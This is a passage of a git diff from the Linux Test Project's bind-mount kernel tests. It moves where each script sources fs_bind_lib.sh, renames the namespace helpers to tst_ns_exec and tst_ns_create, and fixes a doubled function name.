a/testcases/kernel/fs/fs_bind/bind/fs_bind19.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind19.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -49,4 +48,5 @@ test() EXPECT_PASS umount share2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind20.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind20.sh index e19de195..92927cfe 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind20.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind20.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -45,4 +44,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind21.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind21.sh index d8abe99d..d7584219 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind21.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind21.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -54,4 +53,5 @@ test() EXPECT_PASS umount dir4 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind22.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind22.sh index d013f8c7..e51d64b6 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind22.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind22.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -37,4 +36,5 @@ test() EXPECT_PASS umount parent } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind23.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind23.sh index af7aaa09..b91fc75e 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind23.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind23.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -37,4 +36,5 @@ test() EXPECT_PASS umount tmp2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind24.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind24.sh index fe9a816e..1ec32a87 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind24.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind24.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -32,4 +31,5 @@ test() EXPECT_PASS umount dir1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh index 930e9854..a82eee6e 100755 --- a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh +++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -35,4 +34,5 @@ test() EXPECT_PASS umount dir1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh index b1ce9b2b..ef6e8f62 100755 --- a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh +++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -50,4 +49,5 @@ test() EXPECT_PASS umount dir1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh index 2f716d02..e6e84a14 100755 --- a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh +++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -24,4 +23,5 @@ test() EXPECT_PASS umount dir1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh index 641ab40d..7b8088ec 100755 --- a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh +++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -28,4 +27,5 @@ test() EXPECT_PASS umount dir1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh index dbcb5ba1..8c0dbcd2 100755 --- a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh +++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -52,4 +51,5 @@ test() EXPECT_PASS umount parent } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh index 0e87cc46..7abd709d 100755 --- a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh +++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -74,4 +73,5 @@ test() EXPECT_PASS umount dir1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh index 074984b2..7f675b0c 100755 --- a/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh +++ b/testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -52,4 +51,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/fs_bind_lib.sh b/testcases/kernel/fs/fs_bind/fs_bind_lib.sh index a5356fa3..52190a7c 100755 --- a/testcases/kernel/fs/fs_bind/fs_bind_lib.sh +++ b/testcases/kernel/fs/fs_bind/fs_bind_lib.sh @@ -2,20 +2,17 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) International Business Machines Corp., 2005 # Copyright (c) 2021 Joerg Vehlow +# Copyright (c) Linux Test Project, 2022-2023 # Based on work by: Avantika Mathur (mathurav@us.ibm.com) TST_NEEDS_TMPDIR=1 TST_NEEDS_ROOT=1 TST_MIN_KVER=2.6.15 -TST_SETUP=fs_bind_setup -TST_CLEANUP=fs_bind_cleanup +TST_SETUP="${TST_SETUP:-fs_bind_setup}" +TST_CLEANUP="${TST_CLEANUP:-fs_bind_cleanup}" TST_TESTFUNC=fs_bind_test TST_NEEDS_CMDS="mount umount awk sed" -. tst_test.sh - -[ -z "$FS_BIND_TESTFUNC" ] && tst_brk TBROK "Please set FS_BIND_TESTFUNC before sourcing fs_bind_lib.sh" - # Test interface: # # FS_BIND_TESTFUNC is the real testfunction. Please do not use @@ -113,7 +110,7 @@ fs_bind_check() fi if [ $use_ns -eq 1 ]; then - output="$(ns_exec ${FS_BIND_MNTNS_PID} mnt diff -r "$PWD/$dir1" "$PWD/$dir2" 2> /dev/null)" + output="$(tst_ns_exec ${FS_BIND_MNTNS_PID} mnt diff -r "$PWD/$dir1" "$PWD/$dir2" 2> /dev/null)" else output="$(diff -r "$dir1" "$dir2" 2> /dev/null)" fi @@ -201,13 +198,13 @@ _fs_bind_setup_test() fs_bind_create_ns() { [ -n "$FS_BIND_MNTNS_PID" ] && tst_brk TBROK "Namespace exist already" - FS_BIND_MNTNS_PID=$(ns_create mnt) + FS_BIND_MNTNS_PID=$(tst_ns_create mnt) } fs_bind_exec_ns() { [ -z "$FS_BIND_MNTNS_PID" ] && tst_brk TBROK "Namespace does not exist" - EXPECT_PASS ns_exec $FS_BIND_MNTNS_PID mnt "$@" + EXPECT_PASS tst_ns_exec $FS_BIND_MNTNS_PID mnt "$@" } fs_bind_destroy_ns() @@ -245,3 +242,6 @@ fs_bind_test() _fs_bind_cleanup_test } + +. tst_test.sh +[ -z "$FS_BIND_TESTFUNC" ] && tst_brk TBROK "Please set FS_BIND_TESTFUNC before sourcing fs_bind_lib.sh" diff --git a/testcases/kernel/fs/fs_bind/fs_bind_regression.sh b/testcases/kernel/fs/fs_bind/fs_bind_regression.sh index ce3e64ce..e346b1e3 100755 --- a/testcases/kernel/fs/fs_bind/fs_bind_regression.sh +++ b/testcases/kernel/fs/fs_bind/fs_bind_regression.sh @@ -7,7 +7,6 @@ TST_CNT=3 FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test1() { @@ -53,4 +52,5 @@ test3() EXPECT_PASS umount dir2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh index 761cd2c7..0e3e6080 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh @@ -6,8 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh - test() { tst_res TINFO "move: shared child to shared parent" @@ -24,12 +22,12 @@ test() EXPECT_PASS mount --move dir parent2/child2 EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent2/child2/grandchild - fs_bind_fs_bind_check parent2/child2/grandchild share1/grandchild share2/child2/grandchild - fs_bind_fs_bind_check -n dir/grandchild parent2/child2/grandchild + fs_bind_check parent2/child2/grandchild share1/grandchild share2/child2/grandchild + fs_bind_check -n dir/grandchild parent2/child2/grandchild EXPECT_PASS mount --bind "$FS_BIND_DISK2" share1/grandchild/a - fs_bind_fs_bind_check parent2/child2/grandchild/a share1/grandchild/a share2/child2/grandchild/a + fs_bind_check parent2/child2/grandchild/a share1/grandchild/a share2/child2/grandchild/a EXPECT_PASS umount share1/grandchild/a EXPECT_PASS umount share1/grandchild/ @@ -41,4 +39,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh index 141a8da1..06e140d7 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -42,4 +41,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh index 1e33b830..dad8930a 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -44,4 +43,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh index 711ce5bd..dc926811 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -38,4 +37,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh index 57ca4236..222bbda4 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -41,4 +40,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh index e0d027fc..3898aeab 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -37,4 +36,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh index c451406d..7b26706f 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -38,4 +37,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh index a3d7082c..0767a617 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -32,4 +31,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh index b4b9339e..2067ca7e 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -47,4 +46,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh index bd743f33..be5432bf 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -43,4 +42,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh index 40a0484d..35fb56a5 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -44,4 +43,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh index f89ce424..ccae3182 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -42,4 +41,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh index d46058a4..7d45ce06 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -27,4 +26,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh index 78cb455c..83e383ec 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -29,4 +28,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh index e74fb713..8519b04d 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -29,4 +28,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh index 7ab16afa..f6047dec 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -26,4 +25,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh index dbd2fa80..daf28ddc 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -24,4 +23,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh index 1a3c2be3..2652c528 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -44,4 +43,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh index c19dc01a..63c5cdbf 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -44,4 +43,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh index a9012a5f..2d131b6c 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -28,4 +27,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh index d8fb8912..4b61be0d 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -41,4 +40,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh index 61dbc712..ced34ac2 100755 --- a/testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh +++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -34,4 +33,5 @@ test() EXPECT_PASS umount tmp2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh index aee6f2bf..d5a64301 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -47,4 +46,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh index 0a2ce794..09ef3517 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -47,4 +46,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh index 86a93073..7fb1a460 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -58,4 +57,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh index 27c2d214..3e55e2e2 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -49,4 +48,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh index 7c6bc3e0..3f60789b 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -59,4 +58,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh index 32905196..8f1384a4 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -49,4 +48,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh index 11db7199..666920d6 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -34,4 +33,5 @@ test() EXPECT_PASS umount share2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh index 79e16dec..2fc9c945 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -59,4 +58,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh index f7e40360..e609977f 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -49,4 +48,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh index cc06aad8..a8195d83 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -60,4 +59,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh index e74670e6..d052ae5c 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -55,4 +54,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh index b5e2213a..3fadf339 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -65,4 +64,5 @@ test() EXPECT_PASS umount share2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh index 5e908e66..0c50bce8 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -55,4 +54,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh index 5a6775e4..443d71c4 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -36,4 +35,5 @@ test() EXPECT_PASS umount share2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh index 164ded50..f1f21e63 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -32,4 +31,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh index 086767f9..c348a2a3 100755 